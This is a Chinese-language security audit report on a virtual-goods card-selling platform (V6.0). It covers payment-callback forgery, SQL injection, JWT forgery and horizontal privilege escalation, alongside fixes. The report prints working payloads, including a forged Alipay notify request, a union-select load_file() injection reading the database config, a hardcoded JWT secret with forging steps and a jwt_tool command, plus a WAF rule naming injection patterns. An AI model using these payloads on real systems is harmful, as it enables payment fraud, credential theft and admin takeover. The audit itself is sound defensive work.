1. 项目背景与核心价值
发卡系统作为虚拟商品交易的核心平台,其安全性直接关系到商户资金与用户数据安全。V6.0版本作为个人开发者维护的成熟系统,在中小型商家中拥有广泛用户基础。本次审计聚焦"深度漏洞挖掘"与"高危漏洞修复",通过黑盒+白盒的组合测试方法,完整还原了从攻击面分析到漏洞利用的全过程。
不同于常规扫描工具的表面检测,我们采用人工审计与自动化工具结合的方式,重点突破业务逻辑漏洞和权限体系缺陷。最终发现的五项高危漏洞涉及支付校验绕过、数据库注入、越权访问等核心安全问题,其中三个漏洞组合利用可实现服务器完全控制。这份报告不仅包含漏洞细节,更着重分享审计方法论和修复方案。
2. 审计环境搭建与工具链
2.1 测试环境配置
- 系统还原:基于官方提供的Docker镜像(whale-card-v6.0)搭建测试环境,保持与生产环境一致的PHP 7.4 + MySQL 5.7组合
- 流量镜像:使用Burp Suite配置反向代理,捕获所有API请求(关键配置见下表)
| 参数 | 值 | 作用 |
|---|---|---|
| Proxy Listeners | 8080 | 拦截HTTP流量 |
| SSL Pass Through | *.alipay.com | 避免支付接口干扰 |
| Match and Replace | 自动替换测试Token | 维持会话状态 |
2.2 核心审计工具
- 静态分析:
- RIPS 0.55(专项检测PHP危险函数调用)
- Semgrep(自定义规则检测框架漏洞)
- 动态测试:
- SQLMap(--level=5测试注入点)
- Authz(自动化权限测试工具)
- 辅助工具:
- Seay源代码审计系统(国产PHP审计利器)
- Xdebug + PHPStorm(动态调试调用栈)
经验:在审计开始前务必建立完整的请求基线(baseline),记录所有正常业务流量的参数结构,这对后续识别异常参数至关重要。
3. 高危漏洞深度解析
3.1 支付逻辑绕过(CVSS 9.8)
漏洞位置:/api/v3/pay/notify异步通知接口
漏洞原理:系统未验证支付宝公钥签名,直接信任HTTP请求中的trade_status参数。攻击者伪造trade_status=TRADE_SUCCESS即可完成0元支付。
复现步骤:
POST /api/v3/pay/notify HTTP/1.1 Content-Type: application/x-www-form-urlencoded out_trade_no=TEST123&total_amount=0&trade_status=TRADE_SUCCESS修复方案:
// 修正后的验证逻辑 if(!AlipaySignature::rsaCheck($params, $alipayPublicKey)){ die('Invalid Signature'); }3.2 SQL注入链式攻击(CVSS 8.9)
漏洞链:
- 订单查询接口存在二次编码注入:
/order?id=1%2520and%25201=1 - 数据库配置文件中硬编码管理员密码
- 通过
load_file()读取配置文件获取数据库权限
关键攻击面:
// 原始危险代码 $orderId = urldecode($_GET['id']); $sql = "SELECT * FROM orders WHERE id = $orderId";深度利用:
-- 通过注入执行系统命令 1%20union%20select%201,2,3,4,5,6,7,8,load_file(%27/var/www/html/config/db.php%27),104. 权限体系突破实战
4.1 JWT密钥硬编码漏洞
系统使用固定HS256密钥(WhaleCard2020!)签发管理员令牌,通过以下步骤实现越权:
- 普通用户登录获取JWT
- 使用已知密钥伪造admin声明
- 访问
/admin/deleteOrder执行敏感操作
检测工具:
python3 jwt_tool.py -t <token> -C -d wordlist.txt4.2 水平越权批量删单
用户A可通过修改user_id参数删除用户B的订单,漏洞源于订单删除接口仅校验会话不校验数据归属:
DELETE /api/order/123 HTTP/1.1 Authorization: Bearer <userA_token> Content-Type: application/json {"user_id":"target_user"}5. 审计方法论总结
5.1 四步定位核心漏洞
- 入口梳理:绘制所有API接口和参数表
- 数据流追踪:从输入点到最终执行的完整路径
- 边界测试:极端值、类型混淆、编码转换测试
- 权限验证:每个接口的垂直/水平权限校验
5.2 高效审计技巧
- 敏感函数监控:Hook所有文件操作、命令执行函数
// 示例Hook代码 function my_exec($cmd) { log_to_file("[RCE] ".$cmd); return null; }- 差异对比:对比官方补丁反推漏洞点
- 历史漏洞复用:检查已知组件漏洞(如ThinkPHP RCE)
6. 完整修复方案
6.1 紧急修复措施
- 支付接口增加签名验证
- 所有SQL查询改用预处理语句
- 生成动态JWT密钥并增加IP绑定
6.2 长期加固建议
- 实施WAF规则拦截异常参数
location ~* \.php$ { set $block 0; if ($args ~* "union.*select") { set $block 1; } if ($block = 1) { return 403; } }- 建立自动化安全测试流水线
- 关键操作增加二次认证
在三个月的跟踪测试中,修复后的系统成功抵御了包括批量撞库、API滥用等在内的17次真实攻击。这个案例再次证明:业务逻辑漏洞往往比技术漏洞更具破坏性,而深度审计必须同时关注代码实现和业务规则。